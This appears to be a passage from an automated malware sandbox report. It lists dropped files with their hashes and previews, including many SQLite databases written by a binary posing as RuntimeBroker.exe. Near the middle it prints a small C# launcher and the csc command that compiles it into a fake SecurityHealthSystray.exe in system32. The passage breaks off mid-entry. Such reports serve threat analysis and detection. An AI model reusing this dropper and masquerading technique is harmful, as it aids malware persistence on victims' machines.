C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gy4biilf.414.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ka2bnumc.tsy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nyd3tceu.opk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qbdax0lg.w3o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rku4lm10.4eg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_upxdm5d4.g32.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wrfez3kb.vdr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ycbxvrv5.k2j.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yn5l5hvu.43o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yyeb35uk.pdj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zb2pyvsm.i2f.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ztz2rhv3.n5o.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\aDhgD6nCCb

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aO5iPG33XR

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\arTPggGSWf

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b0iFPFT1Io

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b5CpUvCLNN

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b8hDklVARI

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bF1KMi9oy2

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bHtOy7JD7R

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bXotGd744h

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bcyCh0YT3n

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.0.cs

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	388
Entropy (8bit):	4.917763272414294
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBLZ7bfiFkMSf+eBLdL3iFkD:JNVQIbSfhV7TiFkMSfhBSFkD
MD5:	04E4C6B29D09CF0C74E677A8C69BF158
SHA1:	8E8CB19A62E366BB8217BE08F672E28759B4942C
SHA-256:	3091E53A827030C2F50AD9030F63EFCD90B6E21471EFBE0BE4ED0EA65D8B89B2
SHA-512:	7AA534A143C5D45F4E19C9F3B117F94FE59AC3061E903564BB983AA73A86CBFAAFDD0DEB76EFC37A2424792F79FE5817B4F9004361F5FFA0FE3B619C53763AA8
Malicious:	false
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Windows\system32\SecurityHealthSystray.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Users\Default\Recent\RuntimeBroker.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.cmdline

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	250
Entropy (8bit):	5.095618221301531
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRT0T79BzxsjGZxWE8owkn23fmAn:Hu7L//TRq79cQWfp
MD5:	EE196D82B86050E5686E2D68A31913AB
SHA1:	201890224CD692EB34C1691AEBECCE0A0ED874B7
SHA-256:	F88EE51E24DC9A0041783782B318710ADB25B4FEBCA3131ECBC6F1C7118462AC
SHA-512:	B8BD2CD9A17AB101A80C10CC714F20701E187628C1B09E8A72BC01B11D44DA9F81E8881B774FAC4AB301CC3E386D429ED98E894277753A4951A801320B5A2C74
Malicious:	true
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.0.cs"

C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.out

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (329), with CRLF, CR line terminators
Category:	modified
Size (bytes):	750
Entropy (8bit):	5.252588196475102
Encrypted:	false
SSDEEP:	12:KJN/I/u7L//TRq79cQWfsKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KJBI/un/Vq79tWfsKax5DqBVKVrdFAMb
MD5:	401EBA32C72B30F1419CBE0A109175D3
SHA1:	F16B67AB7FC426665BFF70185E54FE12D3473FE0
SHA-256:	4250FD798E0484E65CD2EB6AF38FCFD3E6991263C55D0DF378E801C54EAAB769
SHA-512:	CD782F2D69C10027821F3531CD77298850B5552A541D241D51B7E9D295154454FB85E89BD06645E625D060D6D0A96F072EE7F59E79567C61F91BAE135E349639
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\bmCGuy6FsD

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bpb6Sc0vUz

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\byR5yu2pLH

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\c92jkI9sL8

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
